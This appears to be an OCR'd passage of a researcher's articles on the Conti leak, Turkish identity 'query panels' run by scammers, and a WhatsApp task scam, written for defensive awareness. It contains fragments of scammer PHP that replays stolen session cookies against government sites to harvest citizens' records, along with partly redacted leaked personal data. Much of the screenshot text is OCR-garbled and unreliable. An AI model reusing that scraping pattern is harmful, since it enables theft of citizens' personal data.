o Leak — -zsh — 134x30
—-E -0 "(25[0-5]|2[0-4][0-9]1|[@1]1?[0-91[0-91?)\.(25[0-5]|2[0-4]1[@-9]|[@1]?[0-9]1[@-91?)\.(25[0-5]|2[@]
5]1|2[@-41[0-9]1|[@1]12[@-91[0-912)" /ips.txt

I
)l

2)(\.(25[0-51|2[6-41[0-91|[8112[0-91(@-912)){3}" ../ip]
i > ../../ip.txt

2[
\.10-91{1,3}\.[6-9]
../..lip.txt | hea |

4Career Leak % cat ../../ip.txt | we -1 )

er Leak % I

When it came to finding out which of these IP addresses belong
to Turkey, I found help in the IPinfo API and its Python library.
By using this library with the IP2Geo Tool v2 that I developed,


https://ipinfo.io/
https://github.com/ipinfo/python
https://github.com/mertsarica/hack4career/blob/master/codes/ip2geo_v2.py
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I queried all the IP addresses in my possession (ip.txt), and
I learned that two of these IP addresses (31.210.111.142,
5.188.168.19) are located in Turkey.

Desktop — Python ip2geo.py — 134x30

.11 CN Beijing

-1 CN Beijing

.1 US Los Angeles

2.28 CN Shenzhen

.17 CN Beijing

-0 CN Beijing

.0 AU Brisbane

.255 AU Brisbane

.4 AU Brisbane

2.1 JP Osaka

.@ CN Beijing

35.29 CN Beijing

5.45 CN Beijing

23.183 3P Tokyo

17.221 TW Taipei
.4.29.8 CN Beijing
.48.76.146 CN Guizhou

B Desktop — -zsh — 80x24

[mertrix@Hack4Career Desktop % grep ":TR:" location.txt
31.210.111.142:TR:Istanbul
5.188.168.19@:TR:Bahgelievler

nti X grep 5.188.168.190 ips.txt

X grep 31.210.111.142 ips. txt

To validate the results I obtained, I took a look at SOCRadar,
Extended Cyber Threat Intelligence Platform that provides
real-time notifications to organizations regarding data
breaches. 1 found that the results aligned with what I
discovered earlier, thus clarifying my initial curiosity. (£


https://whois.domaintools.com/31.210.111.142
https://whois.domaintools.com/5.188.168.190
https://socradar.io/
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When it came to my curiosity about the other topic, I decided
to explore Python libraries capable of language detection from
text. After a brief research, I came across several prominent
libraries in this field, including fastText, langdetect and langid

While testing the libraries individually on the text from the
leaked Conti data, I observed that each library made accurate
language detections for some texts but produced incorrect
results for others. As I pondered over which library to use,
I decided to develop a tool that combines all three libraries
and allows users to specify the confidence level parameter
according to their needs and preferences. This approach would


https://fasttext.cc/
https://github.com/Mimino666/langdetect
https://github.com/saffsd/langid.py
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provide a more reliable way to determine the language in a

customizable manner.

After merging the leaked Conti data into a single file using
the command find . -type f -print -exec cat
{} \; > ../logs.txt, Iused the Language Identification
tool I developed to check each line in the “logs.txt” file for

Turkish language detection using the three libraries (with the
confidence level set to “High”).

To use the Language Identification tool, you need to
provide the following parameters.

The first parameter is the text file you want to
analyze, specifying it line by line. The second
parameter is the language code for the language you
want to detect (e.g., “TR” for Turkish, “EN” for
English). The optional third parameter determines
the confidence level. If you set it to “High,” when
all three libraries detect the language code you
specified, it will indicate it on the screen.

Here’s an example command using the tool:
python3 lang_id.py logs.txt TR High

This command will analyze each line in the “logs.txt”
file for Turkish language detection with a high
confidence level.

Since there were no Turkish words or sentences used in the
text files, there was no language detection indicating the usage
of Turkish language by any of the three libraries. However, to
test the tool’s functionality, I added three fake Turkish texts
to the “logs.txt” file. As a result, I successfully observed that


https://github.com/mertsarica/hack4career/blob/master/codes/lang_id.py
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the program detected them correctly. Through this analysis, I
learned from the leaked Conti data that there was no Turkish
conversation among the group members, thereby clarifying my
final curiosity.

* Aa ww

2 tne s, Comn a3 Tbsea  panten

I hope this method I have followed and the two tools I have
developed will be beneficial for security researchers and
experts in data leakage analysis. Hope to see you in the

following articles.
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3. Was Turkey's
e-Government

Hacked?

First of all, let me start by saying what I will say at the end:

“No, it was not hacked!” So can you breathe a sigh of relief as
a Turkish citizen in this situation ? Unfortunately no. You can

read the reason for this in the rest of the article.

When you look at the origins of occasional news headlines
such as “e-Government Hacked!”, “e-Government data stolen!”,
“Identity information of 85 million citizens stolen!” (#1, #2), you
can see that they are mostly caused by scammers, cybercrime
organizations who share their advertisements on platforms like
Telegram, ICQ, Discord, forums, trying to market their

services.

When examining these advertisements, you can observe that
cybercrime organizations provide access services or facilitate

access to citizens’ data through websites, Telegram channels,

51


https://www.cumhuriyet.com.tr/turkiye/son-dakika-e-devlet-verileri-calindi-tc-kimlik-numaralari-bile-gozukuyor-2089112
https://www.sozcu.com.tr/2022/gundem/emniyetten-e-devlet-hacklendi-iddialariyla-ilgili-aciklama-7108698/
https://telegram.org/
https://icq.com/
https://discord.com/
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and Discord rooms that they establish under the name of
“Query Panel/Checker.” These services are sometimes offered in
exchange for a fee, while at other times they are provided free
of charge.
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O https://discord. g/

VIP (YILLIK) VIP (3 AYLIK) VIP (AYLIK) VIP (HAFTALIK)

B ot

C (O & discord.com
4 Career. Inf... in LinkedIn Mert SARICA (mer... ? Inbox - mert.saric...
aktif-deaktif-sistemler

05/13/2023 4:46 PM
AD SoYAD [

c¥

Use Quick Switcher to get around

Discord quickly. Just press: GSM-TC?\

S Tc-asmil@

tin-alin p—
satin-allm AILE[JJ
botu-nasil-kullanirim

DETAYLI GSM¥Z
aktif-deaktif-sistemler 2" e ‘i

OKUL NO
v CEKiLig {

cekili E-OKUL VESIKARJ / 'KENDIM ATIYORUM!

v KAYIT 18-VESiKAVXJ‘

kayit __
ADRESV/

v LAGALUGA . P
SULALEV|
sohbet e

PARSELV/
v TICKET I

ticket AsiZ




56 mertsarica

16 members

Pinned message
| «~TC GIR OKUL NO VE ADRES VERSIN =~ PYDROID3 ILE CALISTIR

| /sorgu@

Parametreler

/sorgu -tc *

/sorgu -isim x*
/sorgu —-isim2 =
/sorgu -isim3
/sorgu —-soyisim *
/sorgu —dogumtarih =
/sorgu —-nufusil *
/sorgu -nufusilce *
/sorgu —anneisim *
/sorgu —annetc x
/sorgu -babaisim *
/sorgu -babatc x

/gsmn —tc %
/gsmn —gsm >

/aile -tc %

/whois -ip *

/iban -no *

/rand

Parametreleri kullanirken;
* Simgeli yerlere bilgileri,
Girmeniz gerekmektedir.

/sorgu -tc 12345678901
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708 members

Pinned message
| 2, HER GUN DUZENLI iLK YAZAN ‘HACK DERSLERI

D
/sorgu -isim « -soyisim

| Baba TCKN:
| Uyruk: TR

Sonu¢_No: 23
HKrA_ID:

IL

]

I

I

b

| TCKN: "

| isim: __ ..

| Soy isim:.

| D.Tarihi: 22.3.2004
| Yas: 19YIL, 2 AY, 28 GUN
| iL Kodu: 04

| iLCE Kodu: 1111
| Nifus iL; AGRI
| Nofus iLCE: MERKEZ
| Anne isim:

| Anne TCKN:
| Baba isim:
| Baba TCKN:
| Uyruk: TR
b

I

I

IL

]

Sonug¢_No: 24
HKrA_ID:

| TCKN:

| isim:

| Soy isim:.

| D. Tarihi: 26.11.2009

| Yas: 13YIL, 6 AY, 24 GUN

I it wadi. £n
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After seeing these, I can understand that the question “But
how?” is troubling your mind with concern. To find an answer
to this question, I have decided to make the most of the
resources at my disposal as a professional working at

SOCRadar Cyber Threat Intelligence company, which closely

monitors the every move of cybercriminals, scammers, and

threat actors, and warns its clients about them.

To begin, I embarked on a brief exploration of Telegram
channels monitored by SOCRadar’s XTI platform.

During my search for query panels, I noticed that in some
Telegram channels, files related to these panels were being

shared by certain individuals.


https://www.linkedin.com/in/mertsarica/
https://socradar.io/
https://socradar.io/extended-threat-intelligence/
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1,118 members
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Pinned message
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| £
q

) |

A

€]

1
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g ¥

||

¢
@D Leave a comment >
_’y S T
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ARMAGAN EDIYORUZ @

indirme Linki: https://disk.yandex.com.tr/d/

Kurulum i¢in benioku.txt kontrol ediniz.

Yandex Disk &
Gorintile ve Yandex Disk'ten indir

& 30

(D Leave a comment >

I have learned that the increasing competition among
scammers over the past 1.5 years has led some to withdraw
from the market while others have fallen victim to hacking.
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Herkese selamlar arkadaslar, yapacagim aciklama sadece bizim iiyelerimize aittir.

{ye degilseniz sayfay kapatabilirsiniz.Oncelikle kapatildigimi siz degerli iiyelerimize maalesef bildirmek isteriz.

Yonetim ekibi bu zamana kadar hickimseye magdur olacag bir durum yasatmamistir ve kapatildig igin de magdur
etmeyecektir.

Kapatma sebebimiz bildiginiz iizere yaklasik 1,5 sene dnce acildi ve
ilk agildiginda bizim digimizda saglam olan maximum 3-5 saglam siteler vardi
fakat son zamanalarda o kadar bog beles siteler acildi ki isin cilki gikti,
higbir ciddiyeti yok ve haliyle bizim de artik hevesimiz yok.
1,5 sene dncesine kadar agir hevesli olarak basladigimiz bu is artik bizim igin bikkinhk derecesine geldi
ve bi' Gnemi kalmadi ayrica belirtmek isterim ki en biiyiik mafya devlettir ve boynumuz kildan incedir.

Fakat bu durumda bile siz degerli iiyelerimiz magdur olmamasi adina Uyelikleri olan miisterilerimize para iadesi
yapilacaktir.

Asagidaki butona tiklayarak iiyeliginizi sorgulayip ardindan mevcut iiyeliginizden kalan giin kadar
iicretinizi belirleyeceginiz IBAN adresine iadenizi alabilirsiniz.
iade isleminden sonra 2 is giin igerisinde iicretiniz hesabiniza aktanlacaktir.

Uyelerimiz her zaman bizim destekgilerimiz oldu, kisacas! ilk gdz agnmiz. Iyi ki varsiniz, iyi ki vardimz %

IADE ISLEMI

Pinned message
Arkadaglar Fiyatlara indirim yaptim bundan sonra fiyatlarimiz Haftalik 60 TL Aylik 150 TL Yillik 350 TL Sinirsiz 700 TL Satis & Destek:

TOSKACHECKER.PRO HACKED BY

&8 @1 &1

Toska checker dosyasi:
https://dosya.co/(

dosya.co
indir = |
Dosyay! indir
N
3 1 lois.
vy

To learn how query panels function, I began closely examining
the shared files (source codes). In some of these source codes,
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I noticed that scammers had implemented checks for Turkish
Identification Number (TCKN) information, which I presumed
to be related to acquaintances or relatives. For example, when
someone attempted to query this TCKN information on the

panel, no transaction would take place.

0 D adres_1.php

File Actions Edit View Help
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root@Kali: ~

File Actions Edit View Help

2bH+ap/Dj1PbzKF,

In some of the source codes, I discovered the presence of
backdoors (web shell) that were embedded to allow scammers
who downloaded these source codes to infiltrate websites at a

later stage.
Name D Kind

masterpanel Today at 20:24 -- Folder
Today at 19:21 74 KB Docume|

@) AvastFile Shield alert

w

Multiple threats
adsoyadv3.php is infected with malware: PHP:BackDoor-EP [Trj]

MOVE TO QUARANTINE

@ adsoyadv3.php

margin-top: 1

5" HACKED BY



https://www.imperva.com/learn/application-security/web-shell/
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When I searched for the signatures (aliases/nicknames) of
threat actors mentioned in the source codes within the
SOCRadar XTI platform, I obtained the opportunity to identify
which Telegram channels they were associated with and read
the messages related to them. This is an incredible opportunity

for cybersecurity professionals and law enforcement officials!

° D index.php

[ @ functions.php
<P functions.php
<?php
customCSS

customJAVA
customCSS

image/x-icon" />

('Europe/Istanbul');
nowDate ("d.m.Y");

if ( ( ['sit']) {
sil ( ['sil'l);
query = "DELETE FROM 'sh_kullanici’ WHERE id='$sil'";
if ($conn-> ($query)
success = ‘KULLAN. 3) LA SILINDI';



https://socradar.io/extended-threat-intelligence/
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[ »@a 06

& Hack4 Coreer.Inf.. i Uinkedin ' Mert SARICA (mer.. 1 Inbo - mert, B3 Other Bookmarks:

€ C O @ platform.socradar.com

SOCRadar Threat Hunting

Q st — Lot venr

& Actions

A Seach Resuit

Resuls o serched fom 20230417 t0 20230618 S

hitps:/mert 74

4 Trending Keywords

. -
e checker 1830
N

{ Recent P Addresses

& platform.socradar.com & ® =36 »@a 06

Linkedin % Mert SARICA (mer... -1 Inbox - mert, £5 Other Bookmarks

Q s €=

A Seach Resut & Actions

Resuls s searche fom 20230417 t0 20230618 g =

https:

4 Trending Keywords

“ Shopping Market media 027

- a
N s

eppersecuty 2un
Osctaimer expand 1920
checker 1830

e ractices
hacking o
wietee 1003

#{ Recent IP Addresses

& platform.socradar.com/

In Uinkedin 3 Mert SARICA (mer.. 1 Inbo - mertsarc

Threat Hunting

Q SourceTolegrom 200x e Lastvear

& Actions,

A Seach Resuit

Resuls o serche fom 20230417 t0 20230618 =

hups: 752355

4 Trending Keywords

y In COMNG 500N media ey
e

\ securty an
LOAD MORE RESULTS v bolgt gera

eppersecrty 2un

Oisclaimer expond 9020
A checker 1830

hacking o

wietee 1003

{ Rocent P Addresses
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When it comes to understanding how access to citizens’

information was obtained through these query panels, my
research on the source codes belonging to three different

panels revealed two different methods.

In the first method, the queries made through the panel were
forwarded to other systems, belonging to the same or different
scammers, such as Web APIs. From there, it is highly likely
that they were transmitted to websites (government, university,
etc.) with authorized access using stolen account credentials
(cookies). The responses were then relayed back to the users/
persons who made the queries following the same path. To

summarize the communication flow:

User -> Query Panel (Belonging to the scammer) -> API
(Belonging to the scammer) -> Website (authorized access
through stolen account cookies)


https://usa.kaspersky.com/resource-center/definitions/cookies
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B api.php

@ api.php
api.php

RLOPT_URL, "http
Xx8F6rdY9Kx5muf

//api.
0jytSRTjDbKRZBYwMghzp3

eetdev.net/api/so
VZ3A75bwN24ragzKZTF8VsbtvEj 2w82dDIRV ") ;
headers[] = "Accept: application/json";
headers

O;

result = (sch);

($sorguURL, "Fayuj Sorgu BOT v2 ika Sorgu",

skskadisk isimli dye sx$tows icin sorgu yapti!");

@ api.php
api.php

|<7php

include "../../server/authcontrol.php";
te = ( 1;
include

url = "http://".$ip."/apiservice/
bacislkenfayuj

sip.php

tcsauth=1

);

resp;

($sorguURL,

Fayuj Sorgu BOT v2", "Tapu ", “sx$kadisx isimli fy

xk$toxk icin sorgu yapti!

)
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D fayujunisorgu.php
fayujunisorgu.php
|<7php

include "../. /authcontrol.php";
tc ( ['tc']);

include vdsip.php';
url //".$ip."/a
bacislkenfayuj
t
(

(
§

/uni/uni.php?te=stesauth=

resp;

($sorguURL, “Fayuj Sorgu BOT v31", "(niversite Sorgu", "sx$kadixk isimli iiye #x$tcik icin sorgu sx§respik
yapti!");

What is an API?

APIs are mechanisms that enable two software
components to communicate with each other using
a set of definitions and protocols. For example, the
weather bureau’s software system contains daily
weather data. The weather app on your phone “talks”
to this system via APIs and shows you daily weather
updates on your phone. (Reference: Amazon)

In the second method, queries made through the panel were
again transmitted, this time without involving a Web API, to
websites (government, university, etc.) with authorized access
using stolen account credentials (cookies), just as in the
previous method. The responses were then relayed back to the
users/persons who made the queries following the same path.

To summarize the communication flow:

User -> Query Panel (Belonging to the scammer) ->
Website (authorized access through stolen account

cookies)


https://aws.amazon.com/what-is/api/
https://usa.kaspersky.com/resource-center/definitions/cookies
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<> apiphp

<?php

include

tion?yerli_kinlik
dogun;

(KHTML, il

di,mahalle, medeni_hal, cinsiyet, d

£R, 1);
T, sagent);
curl_scraped_page (sch);
(sch)

json =

($curl_scraped_page,

);

true", "data" =

> sjson["adayList"]1));

($s0rguURL, “Fayuj Sorgu BOT

€ 5> C 0 & enstu edutr
& HackaCareer.Inf.. i Linkedin

MertSAs

o6

£ Other Bookmar

A Odren
o

Ol Oren

Lo Peronel

Kotaog
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L] B fayujapix.php

4> fayuijapix.php
1 [php
(

display_errors', 0);

client = n 0;
requestKinlik = sclient ('GET', 'http mon/Firmasorgulanalslenleri/EsnafSorgulana’ . stc, [

n, text/htnl,applic cation/xml;q e e/webp, inage/apng, /;

utf-g
Chromiun®;

(KHTHL, ik

response ($requestKimlik-:

if (Sresponsel"State"] == 1) {

Json_result (sresponse['R
(sjson_result["sigorta

sayi = Si iBil 1] [ al okHi: DtoL i
json_result ($3son_result["sig

3 0;
ortaliBilgisi”] ["sgk rtaliTunOrtakHiznetlerDtoList" ] [§sayi

11);
true", “message” => “Bulundu”, “data ($json_result, ), “adres response ["Result"] [

(["success” = "false", "message” => "Bulunamadi’l);

@ api.php

taly TC

NT 6.1; WOy eWebKit/537.36 (KHTML, like Gecko) Chrome/dd

output

° @ cookie.php

<> cookie.php
<?php

avr a EECEEEIK PHHIJMCNIBJOI
IDIMHBE( OFMGEBK
3.1765686683 . 164510592 5 erificationToken=dtXPJ4811kdrk1TQo
yQh-KibrBBCv7CG 13_qnP
tag_UA_116537410_2=1; raaaaaaaaaaaaaaaa_session_=PMMPGDLNPHDHCONL
BHFEGFPCKMMHIGFF
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© © atsbilgi.
B texd.php 26,2 <7hp
™ adsoyad Sauth_key =
B apiphp

= sdsoyachro ; 6 geTlsun 1o s ) ¢
B sviono i

™ ale
B api.php

‘nessage’ => ‘auth key nerde i herif'));

sch
curl ,mwm mmmw _URL,
(A/api/rasor/wyoutamasorgutadetay?
2, istelex22: falsew!

 spiservices y curl_setont
adsorgu.php curlsetopt (
e curl_setopt (Sch CURLOPT_SSL_VERIFYPEER,
akraba.php curl_setopt (Sch, CURLOPT_PROXY, oxy)
i arlsetont 3':' CURLOPT_PROXYEORT, " pronyport);
curlsetopt (sch, €, Scookie
aolphp curlsetopt ($ch, orL 1a75.6. (Mindows NT 10.0; Wind; x64) AppleNebKit/537.36 (KHTHL, like Gecko)
asiphp 21,2 Chrone/169.0.0, o Safarizs.se
; CURLOPT HTTPHEADER, array(
.php Accept: application/json, text/plain, */
babadancocuksorgu.php :Accept-Encoding e, br,
B Accept-L
detayliadres.php *Author zation:
gsmtc.php
secmentc.php “Comectlon: beep-atlve
sinitphp 2 o .
sms.php
soyadsorgu.php
tegsm.php
tesorgu.php
universite.php
vesika.php

ISV YL CSTIOLTANTG DM
16Pho20Eyy

gov. tr/pages/src/,

ite: same-origin’,
‘User-Agent: Worilla/s.o (Windows NT 10.0; Winsé; x64) APpleNebKit/s37.36 (KHTHL, Like Gecko) Chrome/109.0.0.0
36

© @ api.php

»
error_reporting(0);
_set("display_errors’, 0);

B spiphe
= fayuihane
B apiphp use GuzzleHttp\Client;
header(Content-Type: appication/json’)
ste = s_posTIvte];
et = new Client();
SrequestKintik = Selient-orequest('GET", "https gov.tr/Takip VakaTakip/GetVakaTsYer Bilgiteri?
B opiphpbak [ vakal T ste
B apiphp , 2023 at t 0.01",
W minecraft :
™ neuhasus
™ numara
- ol

oo !mm,,m charseteuts-8",
Seookier s Stoton clnds cooctEst
[P ———————
™ proxy
- ave
- s

gov. tr/Takip/VakaTakig
99", "Chroniun";v="98'

sane-origin”,
™ sms User-Agent” => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleMebKit/537.36 (KHTML, Uike Gecko) Chrome/
™ sokak

W soyagaci
™ tepro
™ universite

LKt tpRequest”

M vendor
™ vesika

™ wroxyadres
™ wroxyvesika
™ yemeksepeti
B composer.lock
B composer,json
B 2022php

R adsoyad.php

= son-secode(s

1) responsedsonstrr), ¢

-,,M ) mmmm ruu\l[‘;Agnruhﬂi\gnt“]I“sgi Fiatisitotter i fis

> srz,pnme[‘vesu\ e taaresnis);
Ye
T i

utt (s igortatibiigisi

jortaliTun0rtakhiznet lerbtoL ist"]);

sotstoartalipiigiiert

> json_decode(sjson_result, true), “adres’
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@ api.php

/Takip/VakaTakip/GetVakaOkulBilgileri?

response ["Result"]1);

The main reason for my strong assumption that stolen accounts
are involved is that when I searched for these abused websites
on SOCRadar’s cyber threat intelligence platform, I discovered
that records containing access credentials (stealer logs:
usernames, passwords, cookies, etc.) were being sold on the
underground market. It is highly likely that certain threat
actors hack into the systems of users who have access to these
websites and sell the obtained information (stealer logs) to

other threat actors and scammers. The statements mentioned in

the video at the end of the article also support this notion.

A SteslerLogFikers  clwrar

© Domain ntel Card

Domsin score ©



https://socradar.io/what-is-stealer-as-a-service/
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Furthermore, in my research, I discovered that Web APIs also
have a separate underground market, similar to query panels.



Hack 4 Career 75

Pinned message #25
Cok gizel bir API birakiyorum  https://|

[}
‘ W Sustun uruu:

SHADO ARSIV

0300 B © w0

APT SERVIS

“cinsiyet": null,
"dt": "27.2.2008",

/ 78",
GOMUSHANE/GUMOSHANE

1STANBUL/ESENYURT" ,
vedekadres": "ISTANBUL ESENYURT

abilgisi”: {
hsinumara”: null,
“annegsm": "+9053
"babagsn”: "+9053¢

}.
"okulbilgisi”: {
“okulnumaras1” &
"ogrencidurum”: "Aktif ogrenci”

s
“aracbilgisi”
"sahipplaka": null

g e Cok gtizel bir API birakiyorum

https:// l.net/: free.php?tc=137
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263 subscribers

‘ Pinned message

[ — June 9
Forwarded from

Sonuglan Kopyala

Adi
Soyad!
DogumTarihi 16.3.1998

Yas 25YIL 2 AY 24 GUN

Kimlik Bilgileri

il ISTANBUL

Gsm 555
Telefon Bilgileri
Operatér TurkTelekom

Adres BUYUKGEKMECE 34
VergiNo
Adres Bilgileri
VergiDadi
VergiDkodu

Detayli Tc Sorgu Api
tc= kismini degistirip istediginiz kisiyi sorgulayabilirsiniz.

https:// tk/free/detaylitcsorgu.php?tc=

b 2 ® 246 0320
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Previous message
ADRES E OKUL VESIKALI UCRETSIZ PANEL SITE: https:// .org.tr/ ANAHTAR: https://t.me/

@1

W& 5comments >

- "m0exQaeBs O
ilag apisi gelmistir satin almak icin

(O Leave a comment

€ > C 0 1.0rg)

A& Hack 4 Career. Inf.. in Linkedin Mert SARICA (mer... 1 Inbox - mert.saric...

80k Eokul Api 8 Yorum

MEBBIS VE iLAC SORGU PANELI (Sayfalar: 1 g 103 Yorum

Isyeri & Plaka Sorgulama Ucretsiz | (Sayfolar:12345) 43 Yorum

T ile Ders Sorgulama (sayfalar:123 4...12) 10 Yorum

Apileri sqle gevirmekigin kod :D (Sayfalar:1234...8) 77 Yorum
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Linkedin Mert SARICA (mes

PANEL ADRES E OKUL VESIKA (sayfalar:123 4

Agik Oretim Lisesi API Source (Detayl) | (Sayfalar:1234..8)

[FREE] Discord Modern Sorgu Botu (sayfalar:1234...7)

Discord Sorgu Botu Altyapr: (sayfalar:12345)

Plaka Sorgu | Enliyet Sorgu apisi by (sayfalor:12)

OZEL APILER (sayfalar:12

€ c o

& Hackd Careor.Inf.. n Linkedn  Mert SARICA (mor.. 4 Inbox - mert.saric.

(aka api kaynak ke

WODERATOR

ok

86 Yorum

79 Yorum

67 Yorum

47 Yorum

16 Yorum

57 Yorum
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c o tpaste.t

Hack & Career.Inf.. I Linkedin

<7php
e Ulagabilirsiniz
Sauth_keys = [* %

Sauth = $_GET['auth'] 22 null;

if (tin_array(Sauth, Sauth_keys) {
http._response_code(401);

exit(*Girdiginiz auth yanlis ya da auth girmediniz");
}

header(Content-Type: application/json; charset=utf-8";

//BURAYI KENDI LOGININZE GORE DUZENLEYIN ANLAMASSINIZ DIYE GIRECEGINIZ YERLERI

//KOYDUM

$Cookle = *_ga_53QUE7B3ME=kendi loginine gore diizenle; _gid=kendi loginine gore dizenle;
_ga_WALJ4GZT7N=kendi loginine gdre dizenle; _ga=GA1.1.1052453498.1677348133; ASPNET.Sessionld=kendi loginine
gore diizenle; ASPXAUTH=/ ; TSO1fe7e76=kendi loginine gdre dizenle;
b_Admin_visibility=visible

$ch = curl_init);

curl_setopt(§ch, CURLOPT_URL, 'https://arackiralama. 1.gov.tr/frm_arac_iade.aspx?
plaka='strtoupper($_GET["plaka"). &id=178d0b1-3239-489a-a967-d33a9073d7908tur=1");

curl_setopt(§ch, CURLOPT_RETURNTRANSFER, true);

curl_setopt(§ch, CURLOPT_CUSTOMREQUEST, 'GET);

curl_setopt(§ch, CURLOPT_HTTPHEADER, [

. 4

As I continued examining the source codes and took a look at
the codes that indicated which information could be obtained
through these panels using the Turkish Identification Number
(TCKN), a rough overview of the information that could
potentially be accessed through these panels emerged,
resulting in the following table.

. B vipplus.php

<> vipplusphp

page_title

TC ViP PLUS:
Sorgulanacak Kisinin T.C. Nosunu Giriniz.

Sorgula

height: 4 ne nargin-le; ash-alt 2firla

0 P e
height: 45px; outline: i m 5 Yazdar Detay
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As I continued examining the source codes, independent of the
previous topic, I came across approximately 131 individuals’
names and identity photos, which have been the subject of
recent news and debates. When I compared them to images
featured in past news, I discovered that they were associated
with the cryptocurrency exchange Thodex, which was involved
in the scam that affected thousands of people. It was revealed
that these photos have been in the possession of scammers
since 2021 and were being sold for 50 Turkish Lira (~$2).

Name [ ) @ kimlikler.php
. insta.php <> Kimikier.php

i h te mb-
. instahata.php i e mb-4">Kimlik Arsivi-

. ipsorgu.php Uygun buldugunuz kinlik gérselin altindaki indirme butonuna tiklayarak indirebilirsiniz.
. isyeri.php.

. isyerix.php

| B

- kadroscript js

) kadrostyle.css

v I kimlikler

B
i
B
4]
=

1ipeg
2jpeg
3jpeg
4.jpeg
S.jpeg
Zipeg
8.peg

9.jpeg

10,jpeg


https://www.webtekno.com/insanlarin-kimlikli-selfieleri-sosyal-medyada-dolasiyor-h135335.html
https://www.sondakika.com/ekonomi/haber-magdur-olan-binlerce-thodex-uyesinin-kimlik-14084798/
https://www.haberturk.com/thodex-dolandiricilikta-dunyanin-1-numarasi-3289069-ekonomi
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Magour o

SonDakika com soxoacia soncer rouTika exonowl sPoR MAGAZIN veRE

"BU KAGIS STRATEUISINE BENZIYOR"

Bir sosyal medya kullanicisi ise attigi tweette glnler i tahmin ettigi
ortaya gikti. S0z konusu tweette kullanici su ifadeleri kullanmisti:

htdocs

= WEDTEKNO  ANASAYFA  HABER  VIDEO  KATEGORILER ~

Sosyal medya platformlar bu tarz paylagimlar engelleme

baslad.
-
@ vekcar payias > ' .

®Fotograf * I Y A ]
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2,530 members h

@’ LANMA ALIMLAR ISIK HIZINDA £

8 £ PAPARA HESABI ALINIR £ <

ﬂ ETEDARiGi SAGLAM CEVRESI GENIS KISILER NE BEKLIYORSUN

%+ 90 HER TURLU PLATFORMA SMS VERILIR 06:51

P LA @

Forwarded from

& Photoshop iglemleris”

Tum Evraklarda Oynama Yapilir

Kargo Fisi, Fatura vb. Yapilir

Kimlik Shoplanir

Thodex Selfielerinde oynama yapilir

Demo Atilmadan Higbir Ucret Talep Etmiyoruz

[0 B0 [0 B3 Es2Ship Islemleri Es3 Bs3 3 B33 B2

Apple Shipleriniz % 10 ile gegilir

Ship Gegilmeden Higbir Ucret Talep Etmiyoruz 06:51

1,122 members

! Pinned message #1
instagram Eski Kurulumlu Hesap Galma Methodu (Youtube'dan Kaldirilan Videom,

NP7 S v o e ———-
o

Reply

| Oha abi ¢ok blyukstin ben 7 yasindayim
Yaw olm dalga gecmeyin coluk cocukla  ¢5.5¢
2 by/\ T P 8
Z 2 =7

O ¢

iAg

Sus.

Samanye

&

To summarize the matter, even though Turkey’s e-Government


https://www.turkiye.gov.tr/
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has not been hacked, unfortunately, there is a concerning
outcome for citizens. At this level of organized fraud, it is
not feasible for citizens to individually ensure the security
of their data and information or change and update the data
they believe has been obtained (such as TCKN, mother’s name,
father’s name, maiden name, etc.). Therefore,

It is a significant responsibility for the authorities to detect
and intervene in these stolen and abused accounts, websites,
APIs, and services through the utilization of cyber threat
intelligence platforms and services.

While law enforcement agencies continue their operations
against fraudsters and threat actors without slowing down,
implementing security controls at the software and network
levels in these types of websites, APIs, and services that carry
the risk of misuse is crucial (such as implementing Captcha
controls where possible, limiting the number of web requests
to a page or service within a certain timeframe, suspending
and investigating accounts in the case of multiple requests,
cutting off network connections, subjecting them to additional
verification steps, etc.). Strengthening system security
(hardening) is also of great importance.

Hope to see you in the following articles.

One or more interactive elements has been

excluded from this version of the text. You can
view them online here: https://pressbooks.pub/
hack4career/?p=175#0embed-1



https://en.wikipedia.org/wiki/CAPTCHA
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4. WhatsApp

Scammers

[powerkit_toc  title="Table of Contents” depth="2"

min_count="4" min_characters="1000"]

Introduction

I recently received my share of calls and messages from foreign
cell phone numbers, disturbing almost everyone, especially in
Turkey, who has used the WhatsApp application in recent days.
Of course, as in my articles on other scams (Exposing Pig

Butchering Scam, LinkedIn Scammers, Instagram Scammers), I

rolled up my sleeves to investigate and write about this to raise

awareness.

This story started on July 31, 2023, when I received a text
message from a mobile phone number (+60 11-6436 2947)
with a Malaysian country code not registered in my contacts.
In this message, the suspicious person said she was conducting

84


https://www.mertsarica.com/exposing-pig-butchering-scam/
https://www.mertsarica.com/exposing-pig-butchering-scam/
https://www.mertsarica.com/linkedin-scammers/
https://www.mertsarica.com/instagram-scammers/
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market research to help increase tourism data in Turkey and
that I could earn 180 TL by answering 3 simple questions.
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&\ &) +60 11-6436 2947

Block
Today

& Messages and calls are end-to-end encrypted.
No one outside of this chat, not even WhatsApp,
can read or listen to them. Tap to learn more.

Merhaba Tinaydin ;.-

Buglin nasilsin? ;.--
lyiyim sen nasilsin ? ;.49 4

ben iyiyim efendim

07:10

Tanistigima memnun oldum, ben Lara

Ben de. Ben Rifat. 7.1

Cok naziksiniz, birkag dakikanizi alabilir
miyim?

Tabii 7.1

Su anda sirketimiz Tlrkiye'de turizm
verilerinin artmasina yardimci olmak

icin pazar arastirmasi yapiyor, yardimci
olabilir misiniz?

3 basit soruyu yanitlayarak ve daha

fazla aktivite alarak 180TL (Simdi Ode)
kazanin. 0713

Tabii. Odeme nasil olacak ? ,..5
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&\ & +60 11-6436 2947

Soru-2: Ilgilendiginiz turizm projelerini
hangi kanallar araciligiyla kesfettiniz?
(A): seyahat dergisi

(B): seyahat sitesi

(C): diger

B 07:20 W/

tamam harika.

Soru-3:Seyahat ettiginizde otel segerken
kriterleriniz nelerdir?

(Bedel

(B): cografi konum

(C): diger

A 07:22

Tamam, gorevleri tamamladiniz, gok
akillisiniz.

Oyleyimdir. .5,

Size 180TL 6deyebilmemiz igin litfen
asagidaki bilgileri formata gore
doldurunuz.

Ad Soyad :

Banka hesabi numarasi:

Bankanin adi :

Yas:

Cinsiyet:

Mevcut is:

Finans departmanimiz 6demenizin
derhal igleme alinmasini
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&|& ) +60 11-6436 2947 L4

Tamam hemen yaziyorum. ;.4

evet efendim

Onu telegrama ekledikten sonra, ona

bu mesaji gonderin ve bana bir ekran
goruntusu gonderin, boylece sizinle daha
hizli ilgilenmesini saglayabilirim.
Bilgilerinizi tekrar kontrol edecek ve

5 dakika igerisinde 6deme islemini
tamamlayacaktir.

Odiillerinizi almazsaniz veya
Resepsiyonist size cevap vermezse
litfen bana bildirin.

Yaziyor bana ;.45
ah! Tamam

Gonderildi, sistem odiilleri 6demek igin
